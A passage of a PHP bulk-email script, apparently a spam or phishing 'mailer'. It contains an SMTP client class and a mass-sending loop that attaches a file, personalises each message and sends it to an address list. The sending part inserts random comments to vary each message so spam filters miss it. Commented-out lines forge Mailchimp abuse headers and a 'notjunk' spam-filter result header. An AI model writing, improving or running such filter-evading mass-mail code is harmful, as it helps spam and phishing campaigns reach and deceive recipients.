6256
6257 $this->error =
6258
6259 array("error" => "EXPN not accepted from server",
6260
6261 "smtp_code" => $code,
6262
6263 "smtp_msg" => substr($rply,4));
6264
6265 if($this->do_debug >= 1) {
6266
6267 echo "SMTP -> ERROR: " . $this->error["error"] .
6268
6269 ": " . $rply . $this->CRLF;
6270
6271 }
6272
6273 DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
6274
6275 return false;
6276
6277 }
6278
6279
6280
6281 # parse the reply and place in our array to return to user
6282
6283 $entries = explode($this->CRLF,$rply);
6284
6285 while(list(,$l) = @each($entries)) {
6286
6287 $list[] = substr($l,4);
6288
6289 }
6290
6291
6292
6293 return $list;
6294
6295 }
6296
6297
6298
6299 /**
6300
6301 * Sends the HELO command to the smtp server.
6302
6303 * This makes sure that we and the server are in
6304
6305 * the same known state.
6306
6307 *
6308
6309 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
6310
6311 *
6312
6313 * SMTP CODE SUCCESS: 250
6314
6315 * SMTP CODE ERROR : 500, 501, 504, 421
6316
6317 * @access public
6318
6319 * @return bool
6320
6321 */
6322
6323 function Hello($host="") {
6324
6325 $this->error = null; # so no confusion is caused
6326
6327
6328
6329 if(!$this->connected()) {
6330
6331 $this->error = array(
6332
6333 "error" => "Called Hello() without being connected");
6334
6335 return false;
6336
6337 }
6338
6339
6340
6341 # if a hostname for the HELO wasn't specified determine
6342
6343 # a suitable one to send
6344
6345 if(empty($host)) {
6346
6347 # we need to determine some sort of appopiate default
6348
6349 # to send to the server
6350
6351 $host = "localhost";
6352
6353 }
6354
6355
6356
6357 // Send extended hello first (RFC 2821)
6358
6359 if(!$this->SendHello("EHLO", $host))
6360
6361 {
6362
6363 if(!$this->SendHello("HELO", $host))
6364
6365 return false;
6366
6367 }
6368
6369
6370
6371 return true;
6372
6373 }
6374
6375
6376
6377 /**
6378
6379 * Sends a HELO/EHLO command.
6380
6381 * @access private
6382
6383 * @return bool
6384
6385 */
6386
6387 function SendHello($hello, $host) {
6388
6389 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
6390
6391
6392
6393 $rply = $this->get_lines();
6394
6395
6396 $code = substr($rply,0,3);
6397
6398
6399
6400 if($this->do_debug >= 2) {
6401
6402 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
6403
6404 }
6405
6406
6407
6408 if($code != 250) {
6409
6410 $this->error =
6411
6412 array("error" => $hello . " not accepted from server",
6413
6414 "smtp_code" => $code,
6415
6416 "smtp_msg" => substr($rply,4));
6417
6418 if($this->do_debug >= 1) {
6419
6420 echo "SMTP -> ERROR: " . $this->error["error"] .
6421
6422 ": " . $rply . $this->CRLF;
6423
6424 }
6425
6426 DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
6427
6428 $this->smtpError = "hello";
6429
6430 $this->smtpSendError++;
6431
6432 return false;
6433
6434 }
6435
6436
6437
6438 $this->helo_rply = $rply;
6439
6440
6441
6442 return true;
6443
6444 }
6445
6446
6447
6448 /**
6449
6450 * Gets help information on the keyword specified. If the keyword
6451
6452 * is not specified then returns generic help, ussually contianing
6453
6454 * A list of keywords that help is available on. This function
6455
6456 * returns the results back to the user. It is up to the user to
6457
6458 * handle the returned data. If an error occurs then false is
6459
6460 * returned with $this->error set appropiately.
6461
6462 *
6463
6464 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
6465
6466 *
6467
6468 * SMTP CODE SUCCESS: 211,214
6469
6470 * SMTP CODE ERROR : 500,501,502,504,421
6471
6472 * @access public
6473
6474 * @return string
6475
6476 */
6477
6478 function Help($keyword="") {
6479
6480 $this->error = null; # to avoid confusion
6481
6482
6483
6484 if(!$this->connected()) {
6485
6486 $this->error = array(
6487
6488 "error" => "Called Help() without being connected");
6489
6490 return false;
6491
6492 }
6493
6494
6495
6496 $extra = "";
6497
6498 if(!empty($keyword)) {
6499
6500 $extra = " " . $keyword;
6501
6502 }
6503
6504
6505
6506 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
6507
6508
6509
6510 $rply = $this->get_lines();
6511
6512 $code = substr($rply,0,3);
6513
6514
6515
6516 if($this->do_debug >= 2) {
6517
6518 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
6519
6520 }
6521
6522
6523
6524 if($code != 211 && $code != 214) {
6525
6526 $this->error =
6527
6528 array("error" => "HELP not accepted from server",
6529
6530 "smtp_code" => $code,
6531
6532 "smtp_msg" => substr($rply,4));
6533
6534 if($this->do_debug >= 1) {
6535
6536 echo "SMTP -> ERROR: " . $this->error["error"] .
6537
6538 ": " . $rply . $this->CRLF;
6539
6540 }
6541
6542 DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
6543
6544 return false;
6545
6546 }
6547
6548
6549
6550 return $rply;
6551
6552 }
6553
6554
6555
6556 /**
6557
6558 * Starts a mail transaction from the email address specified in
6559
6560 * $from. Returns true if successful or false otherwise. If True
6561
6562 * the mail transaction is started and then one or more Recipient
6563
6564 * commands may be called followed by a Data command.
6565
6566 *
6567
6568 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
6569
6570 *
6571
6572 * SMTP CODE SUCCESS: 250
6573
6574 * SMTP CODE SUCCESS: 552,451,452
6575
6576 * SMTP CODE SUCCESS: 500,501,421
6577
6578 * @access public
6579
6580 * @return bool
6581
6582 */
6583
6584 function Mail($from) {
6585
6586 $this->error = null; # so no confusion is caused
6587
6588
6589
6590 if(!$this->connected()) {
6591
6592 $this->error = array(
6593
6594 "error" => "Called Mail() without being connected");
6595
6596 return false;
6597
6598 }
6599
6600
6601
6602 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $this->CRLF);
6603
6604
6605
6606 $rply = $this->get_lines();
6607
6608 $code = substr($rply,0,3);
6609
6610
6611
6612 if($this->do_debug >= 2) {
6613
6614 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
6615
6616 }
6617
6618
6619
6620 if($code != 250) {
6621
6622 $this->error =
6623
6624 array("error" => "MAIL not accepted from server",
6625
6626 "smtp_code" => $code,
6627
6628 "smtp_msg" => substr($rply,4));
6629
6630 if($this->do_debug >= 1) {
6631
6632 echo "SMTP -> ERROR: " . $this->error["error"] .
6633
6634 ": " . $rply . $this->CRLF;
6635
6636 }
6637
6638 DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
6639
6640 $this->smtpError = "mail";
6641
6642 $this->smtpSendError++;
6643
6644 return false;
6645
6646 }
6647
6648 return true;
6649
6650 }
6651
6652
6653
6654 /**
6655
6656 * Sends the command NOOP to the SMTP server.
6657
6658 *
6659
6660 * Implements from rfc 821: NOOP <CRLF>
6661
6662 *
6663
6664 * SMTP CODE SUCCESS: 250
6665
6666 * SMTP CODE ERROR : 500, 421
6667
6668 * @access public
6669
6670 * @return bool
6671
6672 */
6673
6674 function Noop() {
6675
6676 $this->error = null; # so no confusion is caused
6677
6678
6679
6680 if(!$this->connected()) {
6681
6682 $this->error = array(
6683
6684 "error" => "Called Noop() without being connected");
6685
6686 return false;
6687
6688 }
6689
6690
6691
6692 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
6693
6694
6695
6696 $rply = $this->get_lines();
6697
6698 $code = substr($rply,0,3);
6699
6700
6701
6702 if($this->do_debug >= 2) {
6703
6704 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
6705
6706 }
6707
6708
6709
6710 if($code != 250) {
6711
6712 $this->error =
6713
6714 array("error" => "NOOP not accepted from server",
6715
6716 "smtp_code" => $code,
6717
6718 "smtp_msg" => substr($rply,4));
6719
6720 if($this->do_debug >= 1) {
6721
6722 echo "SMTP -> ERROR: " . $this->error["error"] .
6723
6724 ": " . $rply . $this->CRLF;
6725
6726 }
6727
6728 DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
6729
6730 return false;
6731
6732 }
6733
6734 return true;
6735
6736 }
6737
6738
6739
6740 /**
6741
6742 * Sends the quit command to the server and then closes the socket
6743
6744 * if there is no error or the $close_on_error argument is true.
6745
6746 *
6747
6748 * Implements from rfc 821: QUIT <CRLF>
6749
6750 *
6751
6752 * SMTP CODE SUCCESS: 221
6753
6754 * SMTP CODE ERROR : 500
6755
6756 * @access public
6757
6758 * @return bool
6759
6760 */
6761
6762 function Quit($close_on_error=true) {
6763
6764 $this->error = null; # so there is no confusion
6765
6766
6767
6768 if(!$this->connected()) {
6769
6770 $this->error = array(
6771
6772 "error" => "Called Quit() without being connected");
6773
6774 return false;
6775
6776 }
6777
6778
6779
6780 # send the quit command to the server
6781
6782 fputs($this->smtp_conn,"quit" . $this->CRLF);
6783
6784
6785
6786 # get any good-bye messages
6787
6788 $byemsg = $this->get_lines();
6789
6790
6791
6792 if($this->do_debug >= 2) {
6793
6794 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
6795
6796 }
6797
6798
6799
6800 $rval = true;
6801
6802 $e = null;
6803
6804
6805
6806 $code = substr($byemsg,0,3);
6807
6808 if($code != 221) {
6809
6810 # use e as a tmp var cause Close will overwrite $this->error
6811
6812 $e = array("error" => "SMTP server rejected quit command",
6813
6814 "smtp_code" => $code,
6815
6816 "smtp_rply" => substr($byemsg,4));
6817
6818 $rval = false;
6819
6820 if($this->do_debug >= 1) {
6821
6822 echo "SMTP -> ERROR: " . $e["error"] . ": " .
6823
6824 $byemsg . $this->CRLF;
6825
6826 }
6827
6828 }
6829
6830
6831
6832 if(empty($e) || $close_on_error) {
6833
6834 $this->Close();
6835
6836 }
6837
6838
6839
6840 return $rval;
6841
6842 }
6843
6844
6845
6846 /**
6847
6848 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
6849
6850 * Returns true if the recipient was accepted false if it was rejected.
6851
6852 *
6853
6854 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
6855
6856 *
6857
6858 * SMTP CODE SUCCESS: 250,251
6859
6860 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
6861
6862 * SMTP CODE ERROR : 500,501,503,421
6863
6864 * @access public
6865
6866 * @return bool
6867
6868 */
6869
6870 function Recipient($to) {
6871
6872 $this->error = null; # so no confusion is caused
6873
6874
6875
6876 if(!$this->connected()) {
6877
6878 $this->error = array(
6879
6880 "error" => "Called Recipient() without being connected");
6881
6882 return false;
6883
6884 }
6885
6886
6887
6888 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
6889
6890
6891
6892 $rply = $this->get_lines();
6893
6894 $code = substr($rply,0,3);
6895
6896
6897
6898 if($this->do_debug >= 2) {
6899
6900 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
6901
6902 }
6903
6904
6905
6906 if($code != 250 && $code != 251) {
6907
6908 $this->error =
6909
6910 array("error" => "RCPT not accepted from server",
6911
6912 "smtp_code" => $code,
6913
6914 "smtp_msg" => substr($rply,4));
6915
6916 if($this->do_debug >= 1) {
6917
6918 echo "SMTP -> ERROR: " . $this->error["error"] .
6919
6920 ": " . $rply . $this->CRLF;
6921
6922 }
6923
6924 $this->smtpError = "rcpt";
6925
6926 $this->smtpSendError++;
6927
6928 return false;
6929
6930 }
6931
6932 return true;
6933
6934 }
6935
6936
6937
6938 /**
6939
6940 * Sends the RSET command to abort and transaction that is
6941
6942 * currently in progress. Returns true if successful false
6943
6944 * otherwise.
6945
6946 *
6947
6948 * Implements rfc 821: RSET <CRLF>
6949
6950 *
6951
6952 * SMTP CODE SUCCESS: 250
6953
6954 * SMTP CODE ERROR : 500,501,504,421
6955
6956 * @access public
6957
6958 * @return bool
6959
6960 */
6961
6962 function Reset() {
6963
6964 $this->error = null; # so no confusion is caused
6965
6966
6967
6968 if(!$this->connected()) {
6969
6970 $this->error = array(
6971
6972 "error" => "Called Reset() without being connected");
6973
6974 return false;
6975
6976 }
6977
6978
6979
6980 fputs($this->smtp_conn,"RSET" . $this->CRLF);
6981
6982
6983
6984 $rply = $this->get_lines();
6985
6986 $code = substr($rply,0,3);
6987
6988
6989
6990 if($this->do_debug >= 2) {
6991
6992 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
6993
6994 }
6995
6996
6997
6998 if($code != 250) {
6999
7000 $this->error =
7001
7002 array("error" => "RSET failed",
7003
7004 "smtp_code" => $code,
7005
7006 "smtp_msg" => substr($rply,4));
7007
7008 if($this->do_debug >= 1) {
7009
7010 echo "SMTP -> ERROR: " . $this->error["error"] .
7011
7012 ": " . $rply . $this->CRLF;
7013
7014 }
7015
7016 $this->smtpError = "rset";
7017
7018 $this->smtpSendError++;
7019
7020 return false;
7021
7022 }
7023
7024
7025
7026 return true;
7027
7028 }
7029
7030
7031
7032 /**
7033
7034 * Starts a mail transaction from the email address specified in
7035
7036 * $from. Returns true if successful or false otherwise. If True
7037
7038 * the mail transaction is started and then one or more Recipient
7039
7040 * commands may be called followed by a Data command. This command
7041
7042 * will send the message to the users terminal if they are logged
7043
7044 * in.
7045
7046 *
7047
7048 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
7049
7050 *
7051
7052 * SMTP CODE SUCCESS: 250
7053
7054 * SMTP CODE SUCCESS: 552,451,452
7055
7056 * SMTP CODE SUCCESS: 500,501,502,421
7057
7058 * @access public
7059
7060 * @return bool
7061
7062 */
7063
7064 function Send($from) {
7065
7066 $this->error = null; # so no confusion is caused
7067
7068
7069
7070 if(!$this->connected()) {
7071
7072 $this->error = array(
7073
7074 "error" => "Called Send() without being connected");
7075
7076 return false;
7077
7078 }
7079
7080
7081
7082 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
7083
7084
7085
7086 $rply = $this->get_lines();
7087
7088 $code = substr($rply,0,3);
7089
7090
7091
7092 if($this->do_debug >= 2) {
7093
7094 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
7095
7096 }
7097
7098
7099
7100 if($code != 250) {
7101
7102 $this->error =
7103
7104 array("error" => "SEND not accepted from server",
7105
7106 "smtp_code" => $code,
7107
7108 "smtp_msg" => substr($rply,4));
7109
7110 if($this->do_debug >= 1) {
7111
7112 echo "SMTP -> ERROR: " . $this->error["error"] .
7113
7114 ": " . $rply . $this->CRLF;
7115
7116 }
7117
7118 $this->smtpError = "send";
7119
7120 $this->smtpSendError++;
7121
7122 return false;
7123
7124 }
7125
7126 return true;
7127
7128 }
7129
7130
7131
7132 /**
7133
7134 * Starts a mail transaction from the email address specified in
7135
7136 * $from. Returns true if successful or false otherwise. If True
7137
7138 * the mail transaction is started and then one or more Recipient
7139
7140 * commands may be called followed by a Data command. This command
7141
7142 * will send the message to the users terminal if they are logged
7143
7144 * in and send them an email.
7145
7146 *
7147
7148 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
7149
7150 *
7151
7152 * SMTP CODE SUCCESS: 250
7153
7154 * SMTP CODE SUCCESS: 552,451,452
7155
7156 * SMTP CODE SUCCESS: 500,501,502,421
7157
7158 * @access public
7159
7160 * @return bool
7161
7162 */
7163
7164 function SendAndMail($from) {
7165
7166 $this->error = null; # so no confusion is caused
7167
7168
7169
7170 if(!$this->connected()) {
7171
7172 $this->error = array(
7173
7174 "error" => "Called SendAndMail() without being connected");
7175
7176 return false;
7177
7178 }
7179
7180
7181
7182 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
7183
7184
7185
7186 $rply = $this->get_lines();
7187
7188 $code = substr($rply,0,3);
7189
7190
7191
7192 if($this->do_debug >= 2) {
7193
7194 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
7195
7196 }
7197
7198
7199
7200 if($code != 250) {
7201
7202 $this->error =
7203
7204 array("error" => "SAML not accepted from server",
7205
7206 "smtp_code" => $code,
7207
7208 "smtp_msg" => substr($rply,4));
7209
7210 if($this->do_debug >= 1) {
7211
7212 echo "SMTP -> ERROR: " . $this->error["error"] .
7213
7214 ": " . $rply . $this->CRLF;
7215
7216 }
7217
7218 return false;
7219
7220 }
7221
7222 return true;
7223
7224 }
7225
7226
7227
7228 /**
7229
7230 * Starts a mail transaction from the email address specified in
7231
7232 * $from. Returns true if successful or false otherwise. If True
7233
7234 * the mail transaction is started and then one or more Recipient
7235
7236 * commands may be called followed by a Data command. This command
7237
7238 * will send the message to the users terminal if they are logged
7239
7240 * in or mail it to them if they are not.
7241
7242 *
7243
7244 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
7245
7246 *
7247
7248 * SMTP CODE SUCCESS: 250
7249
7250 * SMTP CODE SUCCESS: 552,451,452
7251
7252 * SMTP CODE SUCCESS: 500,501,502,421
7253
7254 * @access public
7255
7256 * @return bool
7257
7258 */
7259
7260 function SendOrMail($from) {
7261
7262 $this->error = null; # so no confusion is caused
7263
7264
7265
7266 if(!$this->connected()) {
7267
7268 $this->error = array(
7269
7270 "error" => "Called SendOrMail() without being connected");
7271
7272 return false;
7273
7274 }
7275
7276
7277
7278 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
7279
7280
7281
7282 $rply = $this->get_lines();
7283
7284 $code = substr($rply,0,3);
7285
7286
7287
7288 if($this->do_debug >= 2) {
7289
7290 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
7291
7292 }
7293
7294
7295
7296 if($code != 250) {
7297
7298 $this->error =
7299
7300 array("error" => "SOML not accepted from server",
7301
7302 "smtp_code" => $code,
7303
7304 "smtp_msg" => substr($rply,4));
7305
7306 if($this->do_debug >= 1) {
7307
7308 echo "SMTP -> ERROR: " . $this->error["error"] .
7309
7310 ": " . $rply . $this->CRLF;
7311
7312 }
7313
7314 return false;
7315
7316 }
7317
7318 return true;
7319
7320 }
7321
7322
7323
7324 /**
7325
7326 * This is an optional command for SMTP that this class does not
7327
7328 * support. This method is here to make the RFC821 Definition
7329
7330 * complete for this class and __may__ be implimented in the future
7331
7332 *
7333
7334 * Implements from rfc 821: TURN <CRLF>
7335
7336 *
7337
7338 * SMTP CODE SUCCESS: 250
7339
7340 * SMTP CODE FAILURE: 502
7341
7342 * SMTP CODE ERROR : 500, 503
7343
7344 * @access public
7345
7346 * @return bool
7347
7348 */
7349
7350 function Turn() {
7351
7352 $this->error = array("error" => "This method, TURN, of the SMTP ".
7353
7354 "is not implemented");
7355
7356 if($this->do_debug >= 1) {
7357
7358 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
7359
7360 }
7361
7362 return false;
7363
7364 }
7365
7366
7367
7368 /**
7369
7370 * Verifies that the name is recognized by the server.
7371
7372 * Returns false if the name could not be verified otherwise
7373
7374 * the response from the server is returned.
7375
7376 *
7377
7378 * Implements rfc 821: VRFY <SP> <string> <CRLF>
7379
7380 *
7381
7382 * SMTP CODE SUCCESS: 250,251
7383
7384 * SMTP CODE FAILURE: 550,551,553
7385
7386 * SMTP CODE ERROR : 500,501,502,421
7387
7388 * @access public
7389
7390 * @return int
7391
7392 */
7393
7394 function Verify($name) {
7395
7396 $this->error = null; # so no confusion is caused
7397
7398
7399
7400 if(!$this->connected()) {
7401
7402 $this->error = array(
7403
7404 "error" => "Called Verify() without being connected");
7405
7406 return false;
7407
7408 }
7409
7410
7411
7412 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
7413
7414
7415
7416 $rply = $this->get_lines();
7417
7418 $code = substr($rply,0,3);
7419
7420
7421
7422 if($this->do_debug >= 2) {
7423
7424 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
7425
7426 }
7427
7428
7429
7430 if($code != 250 && $code != 251) {
7431
7432 $this->error =
7433
7434 array("error" => "VRFY failed on name '$name'",
7435
7436 "smtp_code" => $code,
7437
7438 "smtp_msg" => substr($rply,4));
7439
7440 if($this->do_debug >= 1) {
7441
7442 echo "SMTP -> ERROR: " . $this->error["error"] .
7443
7444 ": " . $rply . $this->CRLF;
7445
7446 }
7447
7448 return false;
7449
7450 }
7451
7452 return $rply;
7453
7454 }
7455
7456
7457
7458 /*******************************************************************
7459
7460 * INTERNAL FUNCTIONS *
7461
7462 ******************************************************************/
7463
7464
7465
7466 /**
7467
7468 * Read in as many lines as possible
7469
7470 * either before eof or socket timeout occurs on the operation.
7471
7472 * With SMTP we can tell if we have more lines to read if the
7473
7474 * 4th character is '-' symbol. If it is a space then we don't
7475
7476 * need to read anything else.
7477
7478 * @access private
7479
7480 * @return string
7481
7482 */
7483
7484 function get_lines() {
7485
7486 $data = "";
7487
7488 while($str = fgets($this->smtp_conn,515)) {
7489
7490 if($this->do_debug >= 4) {
7491
7492 echo "SMTP -> get_lines(): \$data was \"$data\"" .
7493
7494 $this->CRLF;
7495
7496 echo "SMTP -> get_lines(): \$str is \"$str\"" .
7497
7498 $this->CRLF;
7499
7500 }
7501
7502 $data .= $str;
7503
7504 if($this->do_debug >= 4) {
7505
7506 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
7507
7508 }
7509
7510 # if the 4th character is a space then we are done reading
7511
7512 # so just break the loop
7513
7514 if(substr($str,3,1) == " ") { break; }
7515
7516 }
7517
7518 if( $this->do_debug >= 0 )
7519
7520 {
7521
7522 DebugData("raw", $data );
7523
7524 }
7525
7526 return $this->smtp_buffer = $data;
7527
7528 }
7529
7530
7531
7532}
7533
7534
7535
7536// Well send form, start sending
7537
7538if( $vForm->isValid() && $vForm->isSubmited() )
7539
7540{
7541
7542
7543
7544 echo "<div id=\"autoScrollBox\">\r\n";
7545
7546 echo "<div class=\"autoScrollSwitcher\">AutoScroll Switcher</div>\r\n";
7547
7548 echo "<div align=\"center\"><input class=\"autoScrollSwitcher\" type=\"button\" name=\"autoScrollSwitcher\" id=\"autoScrollSwitcher\" value=\"" . ( $autoscrollPage ? "Disable" : "Enable" ) . " AutoScroll\" onclick=\"switchAutoScroll();\" /></div>\r\n";
7549
7550 echo "</div>\r\n";
7551
7552
7553
7554 echo "<h2 class='h2green'>Building email...</h2>";
7555
7556
7557
7558 $mail = new PHPMailer();
7559
7560 $mail->Mailer = $basicMethod;
7561$file_name=_FILE_NAME_;
7562$file=_PATH_FILE;
7563
7564 $mail->AddAttachment($file, $file_name);
7565
7566
7567 // SMTP Config
7568
7569
7570
7571 if( $mail->Mailer == "smtp" )
7572
7573 {
7574
7575 $boss=rand(100,99999);
7576
7577 $mail->Host = $SMTPServer;
7578
7579 $mail->Sender = "";
7580
7581 $mail->Username = $SMTPUsername;
7582
7583 $mail->Password = $SMTPPassword;
7584
7585 $mail->SMTPAuth = $SMTPAuth;
7586
7587
7588
7589 $mail->SMTPKeepAlive = true;
7590
7591 $mail->SMTPDebug = _SMTP_DEBUG_LVL_ - 1;
7592
7593 }
7594
7595
7596
7597 $mail->From = $fromEmail;
7598
7599 $mail->FromName = $fromName;
7600
7601 $mail->Subject = $subject;
7602
7603 $mail->AddReplyTo($fromEmail, $fromName);
7604
7605 //$mail->AddCustomHeader("X-sfr-spamrating : 41.400002");
7606 //$mail->AddCustomHeader("X-Report-Abuse: Please report abuse for this campaign here: http://www.mailchimp.com/abuse/abuse.phtml?u=976f8134551e5d1f9e0a4a1db&id=eea6725c9d&e=1eb6a2be66");
7607 //$mail->AddCustomHeader("X-MC-User: 976f8134551e5d1f9e0a4a1db");
7608 //$mail->AddCustomHeader("X-Feedback-ID: 44597193:44597193.1044313:us11:mc");
7609
7610 //$mail->AddCustomHeader("X-UI-Filterresults: notjunk:1;V01:K0:xmR+hjyGbHg=:RYoRj03nMK81G0xQjADDXiGH1B lABUylQP4GPHyo7c+M1XVtW+APzp0qqmBpTxvIDantaY1zhb8DnHhhEvCwJTu1+TAibhXugJT WwAMrC/sOqpgCF7zNVebESqpQSURK1ruysvWahBIRHcAKy90aSKxbULH2SvxuyZh2M6uohtli 0rLVzKYOOdxycCdOVdWA1pBTjGNjuH4xDIZB3ylPRc0CravpZPEpg7VbP5g6Jk3hUjPf0nREH /e52kZm4qV/JPYZNmBiXH4yBCHIJRHORXvU8KPQlJyKGxAfPKM8WGatHl/raKyv6DnxN/AjGh 4iBnmQgSAAiShN1JtXVI+uj3bGOxdhtOkJyGYAKtQyJqbYo3oCq8CoGUfDUeeG6uWt2jc1Jzp S1swxqm0lx388RU9Gfei4wxRr+ep47uVlghhxXjts/z8pw+X/islWlIXoMiguhHfMuecXcfPc u0YQJxZ3KRuGTyKrehbRVrxlKK9ynjL855id+QcdSRCtL9CyRVI4G+xf5dLhPwdutvTscYU82 zdZpNR9H8rHM7NHTEC177zjUr/Cdq0pWgUzI7Sj2vaoPbugCEoWEA5O076gIvvurCjjjdRPQf FnhzOgcuvFc0JIrV0MFkV+rO+tV/KfSv49RN0dF4jvOCioV/A5BsjLl6BsJ+HBsXn24ZJZ06H Upk9hNTRAg8TtCt6L/5SphenLE36+a+XlH72EPqnmROMKMfYLhoZ5tTnvWALPYNjsliC6upzD qpHZ9lIhCq46/oM8P8NwCb4JWjwFv8Ty81vXaaBtmjIFWYcxBEtyh9wFHQGFLyAQXmTIphM99 gifaIXq8gCDHuA2lzrMSTp50/5PG7n57SCcWuF+4LvqKugwKHXRjuHZsSw8uaQ26+zoeBZsz9 1uqP8wFni2Jki0UFV5/O4p31z/gxIb3VIlogfsWfnM0nSljlKLcyNepQhPy/K7aY54gLYkd4x zcydFWbbJ5ebIxwTN4c1nu/a8Ia8+M19YyiTCwLpwHc7U9GjtNIIhNFzt+6ezMF7xIMHv1+1T ksy50npSGbBi4YQ3kbMq8okzP3C8s95qSv6jgTPMQKmgGXPkp9QtsMBqgQbhzjWleZ6oxBZao BZjW9YBUhHGn5OB7WJjCOp+Oswba8k2Hic6tWrjJffKxUu6i3bQI5Hb/2x8cvvR5wMjTSPOex f28noDM0YyD2kedKLP+0jJo/6VoJYISkVfMriRsFAabxXyH+xSEOZkQNcXqRtKdB34z1OzVHp X1CcY0QsBaAI21/L02VQjXK+Wyb23nMBHV6RPajp15ERqgkXCh+bdKGtIUPAJHeMZ9lUW1+iR 5nRi4QJZ5uLj/7mlPgtkkqdI+iJE69diznJH+jfjec0BgsTPocV/yXCDFq8NSG676LP5LWma8 7QR4X47t132XTx8AUOiDQ9gBEvz8OEVoWv8GU6wM7ks1AF4jnPJxEGFvAtzn/s8XhU6Y9p1Kk ePJD9thiMkWyZToYvWGRkE6N3WcZgvR0D5hlYRWiCqKI+ech/ubmQDNiOTahw8ZVs7aB7I4V6 9D9mfOsQiXvQ//54gcW8Y0exve2XzzkR1h96Zr7WFHLFpvWWnvBQ1GHZlv7hVl9qAOW/XPV3X dkGA8TeV5iQ=");
7611
7612
7613
7614 $mail->Body = $emailMessage;
7615
7616
7617
7618 if( $multipartMail )
7619
7620 {
7621
7622 $mail->AltBody = strip_tags($emailMessage);
7623
7624 $mail->AltBody = preg_replace("/[ ]{2,}/", " ", $mail->AltBody);
7625
7626 $mail->AltBody = preg_replace("/([\r\n]+){2,}/", "\r\n", $mail->AltBody);
7627
7628
7629
7630 // Random string to change message id
7631
7632 if( $addRandomString )
7633
7634 {
7635
7636 $mail->Body = str_replace(array('<html>', '<head>','<body'), array('<html><!--%%-->', '<head><!--%%-->', '<!--%%--><body'), $mail->Body);
7637
7638
7639
7640 }
7641
7642 }
7643
7644 else
7645
7646 {
7647
7648 // determines wheter the text is or not html
7649
7650 if( eregi('(<[x]?html|<body|<table|<div)', $mail->Body) )
7651
7652 {
7653
7654 $mail->IsHTML(true);
7655
7656
7657
7658 // Random string to change message id
7659
7660 if( $addRandomString )
7661
7662 {
7663
7664 $mail->Body = str_replace(array('<html>', '<head>','<body'), array('<html><!--%%-->', '<head><!--%%-->', '<!--%%--><body'), $mail->Body);
7665
7666 }
7667
7668 }
7669
7670 else
7671
7672 {
7673
7674 $mail->IsHTML(false);
7675
7676 }
7677
7678 }
7679
7680
7681
7682 // starting email
7683
7684 if( $listStartingEmail > 1 )
7685
7686 {
7687
7688 $emailList = array_slice($emailList, $listStartingEmail-1);
7689
7690 }
7691
7692
7693
7694 // removing duplicated entries
7695
7696 $emailList = array_unique($emailList);
7697
7698
7699
7700 // cout number of emails
7701
7702 $reportTotal = count( $emailList );
7703
7704
7705
7706 // elapsed time
7707
7708 $starttime = explode(" ",microtime());
7709
7710 $starttime = $starttime[1] + $starttime[0];
7711
7712
7713
7714 // Shows Email Information
7715
7716 echo "<pre>";
7717
7718 echo "<b>Method:</b> " . strtoupper($mail->Mailer) . "\r\n";
7719
7720 echo "<b>Multipart:</b> " . ( $multipartMail ? "Yes" : "No" ) . "\r\n";
7721
7722 echo "<b>Total to send:</b> {$reportTotal} (removed duplicated and starting on #{$listStartingEmail} email)\r\n";
7723
7724 echo "<b>From:</b> {$mail->FromName} <{$mail->From}>\r\n";
7725
7726 //echo "<b>Reply-To:</b> {$mail->ReplyTo}\r\n";
7727
7728 echo "<b>Subject:</b> {$mail->Subject}\r\n";
7729
7730 echo "</pre>";
7731
7732
7733
7734 echo "<h2 class='h2green'>hna kan sendiw emails...</h2>\r\n";
7735
7736
7737
7738 $mail->backup = $mail->Body;
7739
7740 foreach( $emailList as $k => $curEmail )
7741
7742 {
7743
7744
7745
7746
7747
7748 $mail->ClearAddresses();
7749
7750 $hagolo = explode(';', $curEmail);
7751
7752 $curEmail=$hagolo[0];
7753
7754 $num1 = rand(100000,999999);
7755
7756 $num2 = rand(100000,999999);
7757
7758 $mail->Body = str_replace("%rand%",$num1,$mail->Body);
7759
7760 $mail->Body = str_replace("%rand2%",$num2,$mail->Body);
7761
7762 $mail->Body = str_replace("%name%",$hagolo[1],$mail->Body);
7763
7764 $mail->Body = str_replace("%md5%",md5($hagolo[0]),$mail->Body);
7765
7766 $mail->Body = str_replace("%mail%",$hagolo[0],$mail->Body);
7767
7768 $mail->AddAddress($curEmail);
7769
7770
